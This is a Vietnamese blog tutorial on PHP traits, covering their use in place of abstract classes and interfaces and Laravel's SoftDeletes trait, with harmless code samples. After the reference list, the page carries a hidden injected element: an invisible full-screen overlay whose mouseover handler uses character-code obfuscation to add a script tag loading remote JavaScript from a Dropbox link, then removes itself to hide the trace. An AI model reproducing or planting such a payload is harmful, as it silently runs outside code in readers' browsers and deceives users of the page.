Traits in PHP and Laravel

Bài viết này được dịch từ nguồn What are PHP Traits? có thêm phần chém gió của tác giả bài dịch hy vọng có thể truyền tải cho các bạn chút hiểu biết về Trait trong PHP (bow). Tôi (tác giả bài dịch) biết được đến Trait thông qua một dự án thử việc tại Framgia Vietnam vào tháng 3/2015 (yaoming).

Trong nội dung bài viết này chúng ta sẽ cùng tìm hiểu thế nào là Trait? Nó làm việc như thế nào? Nó khác Abstract ClassInterface ra sao? Tại sao chúng ta nên dùng, đồng thời đưa ra những case study cụ thể sử dụng.

Giới thiệu

Khi làm việc với PHP, một trong những vấn đề có thể chúng ta đã từng thắc mắc, đã từng gặp phải, đó là việc ta chỉ có thể kế thừa (extends) từ một class cha mà thôi.

Tuy nhiên, nhiều lúc việc kế thừa từ nhiều class lại rất có ích. Chúng ta có thể sử dụng lại các phương thức ở các class khác nhau để tránh việc lặp code. Ví dụ tôi có một class A mang phương thức X, đồng thời tôi lại có class B mang phương thức Y. Tôi phải thiết kế một class C mang phương thức Z đồng thời muốn sử dụng lại phương thức XY nói ở trên. Tôi phải làm thế nào trong khi tôi là PHP Coder mà ông PHP lại không hỗ trợ tôi đa kế thừa @@

Một giải pháp "chày cối" là cho class C kế thừa từ class B (tôi sử dụng được Y) rồi lại cho class B kế thừa từ class A (tôi sử dụng được X). Tuy nhiên đây mới là ví dụ đơn giản với hai class A và B, trường hợp mà yêu cầu cần dùng nhiều phương thức ở nhiều class khác nhau hơn thì việc kế thừa như tôi nói ở trên lại trở thành một thảm họa (huhuhu).

Nhận ra sự bất cập này, trong bảng PHP 5.4 đã đưa ra một khái niệm, và đó chính là Traits. Về cơ bản thì chúng ta có thể tưởng tượng Trait giống với Mixin, cho phép chúng ta nhúng các Trait class vào các class khác. Do đó tránh được việc lặp code, có thể tái sử dụng trong khi tránh được vấn đề như tôi nói ở trên ở việc kế thừa nhiều tầng.

Traits là gì?

Trait có thể hiểu như một class, là nơi tập hợp một nhóm phương thức (method) mà chúng ta muốn sử dụng trong class khác. Cũng giống như Abstract Class, chúng ta không thể khởi tạo một đối tượng từ Trait.

Hãy cùng thử cài đặt một ví dụ đơn giản bằng việc thiết kế một Trait:

trait Sharable {

  public function share($item)
  {
    return 'share this item';
  }

}

Và sử dụng trong các class khác:

class Post {

  use Sharable;

}

class Comment {

  use Sharable;

}

Bạn có thể tưởng tượng việc sử dụng Trait như trên giống như việc chúng ta viết phương thức share() cho cả class PostComment. Cả hai class đều sở hữu phương thức này, và do vậy ta có thể sử dụng rất đơn giản như sau:

$post = new Post;
echo $post->share(''); // 'share this item'

$comment = new Comment;
echo $comment->share(''); // 'share this item'

Traits hoạt động như thế nào?

Như bạn đã thấy ở bên trên thì cả hai object của class PostComment đều có phương thức share() mặc dù phương thức này không hề được định nghĩa trong class.

Trait được đưa ra đơn giản chỉ là một cách để bạn copy and paste code giữa các class. Đó chính là lý do tại sao phương thức share() có thể được sử dụng khi khởi tạo đối tượng cũng như trong chính bản thân class Post hay Comment. Cụ thể như sau:

class Post {

  use Sharable;

  public function shareWithFacebook() {
    echo $this->share('');
    echo 'Facebook shared!';
  }
}

Traits khác với Abstract Class thế nào?

Trait khác với Abstract Class vì nó không dựa trên sự thừa kế. Tưởng tượng rằng nếu class Post và class Comment phải kế thừa từ một AbstractSocial class. Chúng ta dường như muốn nhiều hơn là chỉ share post và comment lên mạng xã hội. Tuy nhiên việc sử dụng abstract class khiến chúng ta phải xây dựng một mô hình kế thừa hết sức phức tạp như sau:

class AbstractValidate extends AbstractCache {}
class AbstractSocial extends AbstractValidate {}
class Post extends AbstractSocial {}

Traits khác với Interfaces thế nào?

Có thể nói về cơ bản thì TraitInterface khá giống nhau về tính chất sử dụng. Cả hai đều không thể sử dụng nếu không có một class được implement cụ thể. Tuy nhiên chúng cũng có những sự khác nhau hết sức rõ rệt.

Interface có thể hiểu như một bản "hợp đồng" (nếu sử dụng) chỉ ra rằng: "đối tượng có thể làm việc này", do vậy bạn phải implement nó thì mới sử dụng được. Trong khi đó Trait chỉ nói : "đối tượng có khả năng làm việc này".

Ta hãy cùng đi vào một ví dụ cụ thể như sau:

// Interface
interface Sociable {

  public function like();
  public function share();

}

// Trait
trait Sharable {

  public function share($item)
  {
    // share this item
  }

}

// Class
class Post implements Sociable {

  use Sharable;

  public function like()
  {
    //
  }

}

Chúng ta có interface Sociable chỉ ra rằng đối tượng Post có thể like()share(). Trong khi đó Sharable Trait implement phương thức share() và phương thức like() lại được implement bởi chính class Post.

Bạn có thể thấy chúng ta có thể type hint đối tượng Post để kiểm tra xem nó có được implement từ Sociable interface hay không, đồng thời ta có thể thấy phương thức share() triển khai trong Trait không những sử dụng cho việc implement từ interface mà còn có thể mang đi sử dụng cho các class tương tự khác:

$post = new Post;

if($post instanceOf Sociable)
{
  $post->share('hello world');
}

Dùng Traits có lợi thế nào?

  • Giảm việc lặp code.
  • Tránh được việc kế thừa nhiều tầng nhiều lớp khá phức tạp trong tổng thể hệ thống, sẽ khó maintain sau này.
  • Định nghĩa ngắn gọn, sau đó có thể đặt sử dụng ở những nơi cần thiết, sử dụng được ở nhiều class cùng lúc.

Nhược điểm của Traits

  • Trait có thể tạo ra các class mang quá nhiều trách nhiệm (responsibility). Trait được tạo ra chủ yếu dựa trên tư tưởng "copy and paste" code giữa các class. Chúng ta có thể dễ dành thêm một tập hợp các phương thức vào class thông qua việc sử dụng Trait. Điều này vi phạm nguyên tắc Single Responsibility Principle.
  • Sử dụng Trait khiến chúng ta khó khăn trong việc xem tất cả các phương thức của một class, do vậy khó để có thể phát hiện được một phương thức bất kỳ có bị trùng lặp hay không.
  • Trait cảm giác như công cụ hữu ích cho những kẻ lười, khi muốn thêm vào để giải quyết vấn đề ngay lập tức. Thường thì Composition là một kiến trúc ổn hơn cho việc kế thừa hay sử dụng Trait.

Những tình huống cụ thể sử dụng Traits

Ta sẽ tự đặt ra câu hỏi là trong tình huống nào sử dụng Trait sẽ là giải pháp hay?

Tôi nghĩ Traits là một cách thức tuyệt vời khi chúng ta muốn tái sử dụng code giữa các class có tính chất tương tự nhau nhưng không kế thừa từ một abstract class cụ thể nào.

Trong các ứng dụng mạng xã hội, tưởng tượng rằng chúng ta có các đối tượng Post, Photo, Note, MessageLink. Những đối tượng này tương tác với nhau trong hệ thống của chúng ta và chúng được tạo ra và tương tác giữa các người dùng hệ thống.

Tuy nhiên, Post, Photo, NoteLink có thể chia sẻ public lẫn nhau giữa các user, trong khi đó thì đối tượng Message lại là các private message không thể để public được.

Đối tượng Post, Photo, Note, và Link đều nên được implement từ một interface Shareable:

interface Shareable {

  public function share();

}

Các câu hỏi đặt ra cho chúng ta như sau:

  1. Chúng ta có nên viết phương thức share() ở trong tất cả các class implement từ Shareable interface? Câu trả lời là: KHÔNG.
  2. Chúng ta có nên tạo ra một AbstractShare class để các class của chúng ta kế thừa, và đồng thời các class đó implement Shareable interface? Câu trả lời cũng là: KHÔNG.

Giải pháp của chúng ta nên thực hiện đó là implement phương thức share() trong một ShareableTrait, đồng thời chúng ta có thể thêm vào những class cần thiết sử dụng.

Ví dụ cụ thể về việc sử dụng Trait

Trong bài viết của tác giả có lấy ví dụ về package Cashier trong Laravel, tuy nhiên tôi xin phép không phân tích về package này vì có thể có người chưa từng sử dụng nó (bản thân tác giả của bài viết này cũng chưa sử dụng).

Tôi xin giới thiệu với các bạn về một tính năng mà vốn Laravel đã có từ những phiên bản 4.x trong đó có sử dụng Trait. Hẳn là nếu bạn từng làm việc với Laravel, cụ thể hơn là với Eloquent, chắc các bạn đến khái niệm Soft Delete mà Laravel đưa ra. Tưởng tượng đơn giản thì thay bằng việc delete vật lý bản ghi trong Database, chúng ta chỉ delete logic thôi. Bản ghi đó vẫn còn nhưng đang ở trạng thái deleted.

Về Soft Delete thì bạn có thể tưởng tượng như chức năng thùng rác trên hệ điều hành của chúng ta. Khi chúng ta xóa, dữ liệu sẽ vào thùng rác. Bạn hoàn toàn có thể recover dữ liệu đó hoặc vào thùng rác xóa hẳn dữ liệu khỏi ổ cứng.

Như vậy là ta đã có cái nhìn tổng quan về Soft Delete rồi, giờ ta sẽ đi sâu vào xem Laravel họ xử lý vấn đề này thế nào? Sử dụng Trait ra sao? Tôi sẽ dùng tài liệu tham chiếu của phiên bản Laravel 5.2. Ta sẽ tìm hiểu về cách cài đặt Soft Deleting:

namespace App;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;

class Flight extends Model
{
    use SoftDeletes;

    /**
     * The attributes that should be mutated to dates.
     *
     * @var array
     */
    protected $dates = ['deleted_at'];
}

Đây là một Model Flight mới được tạo ra:

  • use Illuminate\Database\Eloquent\Model; để khai báo sử dụng base model mà Laravel đã dựng lên, tất cả các Model của chúng ta đều được kế thừa từ Base Model này.
  • use Illuminate\Database\Eloquent\SoftDeletes; chính là khai báo sử dụng Trait SoftDeletes.
  • use SoftDeletes; cách gọi này giống với những ví dụ ở trên, để ta có thể sử dụng Trait trong class Flight.

Flow sử dụng Soft Delete hết sức đơn giản:

  • Trong bảng của chúng ta ngoài created_atupdated_at sẽ có thêm trường deleted_at để tracking lại trạng thái đã xóa hay chưa? Dữ liệu NULL sẽ là trạng thái chưa xóa và có giá trị datetime sẽ lại thời điểm xóa bản ghi.
  • Khi chỉ muốn delete logic (soft delete) ta sẽ sử dụng hàm delete() (VD: $flight->delete()), dữ liệu trường deleted_at sẽ được cập nhật.
  • Khi muốn delete vật lý (xóa hẳn khỏi Database) ta sẽ sử dụng hàm forceDelete() (VD: $flight->forceDelete()), bản ghi sẽ biến mất hỏi Database mà không còn một dấu vết nào 😛

Thật là kỳ diệu phải không? Có hai hàm mà giải quyết được bài toán của chúng ta rất gọn gàng, hãy cùng mổ xẻ thêm Trait SoftDeletes có những gì để có câu trả lời.

Trước hết hãy nói chuyện đến trường hợp các Model bình thường không sử dụng Soft Delete, ngay trong Base Model mà tôi nói ở trên đã chứa các hàm dùng để delete mà ta có thể sử dụng lại, cụ thể như sau:

  • Hàm delete(): trong code bạn lưu ý là hàm này có gọi đến hàm performDeleteOnModel(), chưa cần hiểu sâu hàm này làm công việc gì, ta chỉ cần biết nó sẽ thực hiện việc delete bản ghi khỏi Database.
  • Hàm forceDelete(): như ta thấy là nó gọi thằng luôn $this->delete() (yaoming).

Như vậy thì với một Model bình thường (không sử dụng Soft Delete), ta vẫn sử dụng được cả hai hàm delete()forceDelete(), tuy nhiên kết quả là như nhau, bản ghi sẽ biến mất khỏi Database của chúng ta.

Case bình thường ta đã clear đúng không nào? Giờ hãy xem điều vi diệu khi sử dụng Trait SoftDeletes. Ta vẫn focus vào hai hàm đã nói ở trên:

  • Hàm delete(): không được định nghĩa lại ở trong Trait, do vậy khi gọi hàm này, chúng ta sẽ sử dụng hàm delete() của Base Model. Tuy nhiên điều kỳ diệu là ở việc Trait đã định nghĩa lại hàm performDeleteOnModel() (ở trên tôi đã nói là trong hàm delete() có gọi đến hàm này). Mô tả sơ qua thì hàm này làm nhiệm vụ nếu không phải forceDelete thì sẽ chỉ thực hiện cập nhật trường deleted_at, ngược lại sẽ thực hiện gọi hàm forceDelete().
  • Hàm forceDelete(): được định nghĩa lại trong Trait, trong hàm này có gọi đến hàm delete() nhưng lại bật cờ forceDeletingtrue. Làm như vậy để hàm performDeleteOnModel() biết được phải xóa hẳn khỏi Database.

Như vậy ta đã hiểu hơn về cơ chế thực hiện Soft Delete của Laravel với sự trợ giúp của Trait rồi phải không nào. Ngoài ra thì Trait SoftDeletes này còn cung cấp thêm cho chúng ta các hàm khác để làm việc thuận tiện hơn với Soft Delete:

  • restore(): để lấy lại dữ liệu Soft Delete khôi phục về trạng thái chưa delete (giống ví dụ recover từ thùng rác của tôi ở trên)
  • withTrashed(), onlyTrashed(): phục vụ khi query lấy dữ liệu, có thể tùy chọn lấy dữ liệu từ Database chỉ những dữ liệu xóa logic hay lấy tất cả dữ liệu (bao gồm cả dữ liệu đã được xóa logic).

Có thể đưa ra kết luận ngắn gọn như sau: việc sử dụng Trait trong trường hợp này có hiệu quả rất tốt, không có Trait model vẫn hoạt động bình thường, cần sử dụng đến Trait thì khai báo sử dụng và hệ thống mở thêm tính năng khá mềm dẻo.

Kết luận

Câu hỏi lớn đặt ra: chúng ta có nên sử dụng Traits không? Bạn nên cân nhắc kỹ trước khi sử dụng Traits trong dự án của mình. Traits mang lại cho chúng ta một giải pháp tuyệt vời cho việc tránh kế thừa phức tạp nhiều tầng lớp trong những ngôn ngữ đơn kế thừa (như PHP). Thực ra thì đôi khi cũng có thể nói Traits sinh ra để giải quyết bài toán đa kế thừa trong PHP (yaoming).

Traits cho phép chúng ta thêm các chức năng, phương thức vào class mà không làm phức tạp hay lặp code trong class.

Traits không phải là câu trả lời cho tất cả những vấn đề mà bạn gặp phải với đa kế thừa. Sử dụng Trait không hợp lý là một quyết định tồi. Nếu bạn dự định biến class của mình thành một siêu anh hùng class có thể giải quyết mọi vấn đề bằng cách sử dụng Trait, bạn nên xem lại vì bạn có thể sẽ vi phạm nguyên tắc SRP.

Trong việc phát triển phần mềm, cũng có những tình huống đúng và sai khi sử dụng các thành phần hay những pattern có sẵn. Trait có thể giải quyết vấn đề của bạn ngay tức khắc, tuy nhiên Composition có thể là câu trả lời chính xác hơn cho những khó khăn mà bạn gặp phải. Hãy đừng cố gắng tìm những tình huống cụ thể nào nên sử dụng Traits, thay vào đó "hãy dùng và cảm nhận", hãy đối mặt với vấn đề xảy ra để có thể rút ra case study riêng cho bạn. Khi bạn sử dụng hợp lý, bạn sẽ thấy Trait sẽ là một công cụ khá hay để giải quyết vấn đề.

Tài liệu tham khảo

  1. http://culttt.com/2014/06/25/php-traits/
  2. https://www.sitepoint.com/php-traits-good-or-bad/
  3. https://www.sitepoint.com/using-traits-in-php-5-4/
  4. http://alanstorm.com/php_traits
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved